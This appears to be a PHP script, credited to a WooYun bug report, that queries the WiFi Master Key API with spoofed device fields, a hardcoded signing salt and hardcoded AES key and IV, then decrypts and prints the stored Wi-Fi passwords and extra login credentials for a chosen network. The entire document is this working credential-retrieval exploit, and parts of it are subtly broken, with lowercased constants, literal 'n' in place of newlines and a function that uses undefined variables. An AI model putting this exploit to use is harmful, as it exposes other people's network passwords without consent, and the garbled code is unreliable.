WIFI万能钥匙密码查询接口实例

<?php //some code from http://www.wooyun.org/bugs/wooyun-2015-099268
$bssid = "c8:3a:35:fa:b8:80" ;
$ssid = "podinns2f03" ;
if (isset( $bssid ) && isset( $ssid )){
//update salt
   $ret = request( $bssid , $ssid , md5(rand(1, 10000)));
   $ret = json_decode( $ret );
   $ret = request( $bssid , $ssid , $ret ->retsn);
   $ret = json_decode( $ret );
   if ( $ret ->retcd == 0){
     if ( $ret ->qryapwd->retcd == 0){
       $list = $ret ->qryapwd->psws;
       foreach ( $list as $wifi ){
         echo 'ssid: ' . $wifi ->ssid. "n" ;
         echo 'pwd: ' .decryptstrin( $wifi ->pwd). "n" ;
         echo 'bssid: ' . $wifi ->bssid. "n" ;
         if ( $wifi ->xuser){
           echo 'xuser: ' . $wifi ->xuser. "n" ;
           echo 'xpwd: ' . $wifi ->xpwd. "n" ;
         }
       }
     }
     else {
       echo $ret ->qryapwd->retmsg;
     }
   }
}
function request( $bssid , $ssid , $salt , $dhid = 'ff8080814cc5798a014ccbbdfa375369' ){
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getdeepsecchkswitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
   $curl = curl_init();
   curl_setopt( $curl , curlopt_url, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd' );
   curl_setopt( $curl , curlopt_useragent, 'wifimasterkey/1.1.0 (mac os x version 10.10.3 (build 14d136))' );
   curl_setopt( $curl , curlopt_ssl_verifypeer, false); // stop verifying certificate
   curl_setopt( $curl , curlopt_returntransfer, true);
   curl_setopt( $curl , curlopt_post, true); // enable posting
   curl_setopt( $curl , curlopt_postfields, http_build_query( $data )); // post images
   curl_setopt( $curl , curlopt_followlocation, true); // if any redirection after upload
   $r = curl_exec( $curl );
   curl_close( $curl );
   return $r ;
}
function registernewdevice(){
   $salt = '1hf%5yh&7og$1wh!6vr&7rs!3nj#1aa$' ;
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getdeepsecchkswitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
}
function sign( $array , $salt ){
   // 签名算法
   $request_str = '' ;
   // 对应apk中的 arrays.sort 数组排序，测试php需用 ksort
   ksort( $array );
   foreach ( $array as $key => $value ) {
     $request_str .= $value ;
   }
   $sign = md5( $request_str . $salt );
   return strtoupper ( $sign );
}
function decryptstrin( $str , $keys = 'k%7ve#8ie!5fb&8e' , $iv = 'y!0oe#2wj#6pw!3v' , $cipher_alg =mcrypt_rijndael_128){
   //wi-fi万能钥匙密码采用 aes/cbc/nopadding 方式加密
   //[length][password][timestamp]
   $decrypted_string = mcrypt_decrypt( $cipher_alg , $keys , pack( "h*" , $str ),mcrypt_mode_cbc, $iv );
   return substr (trim( $decrypted_string ),3,-13);
} ?>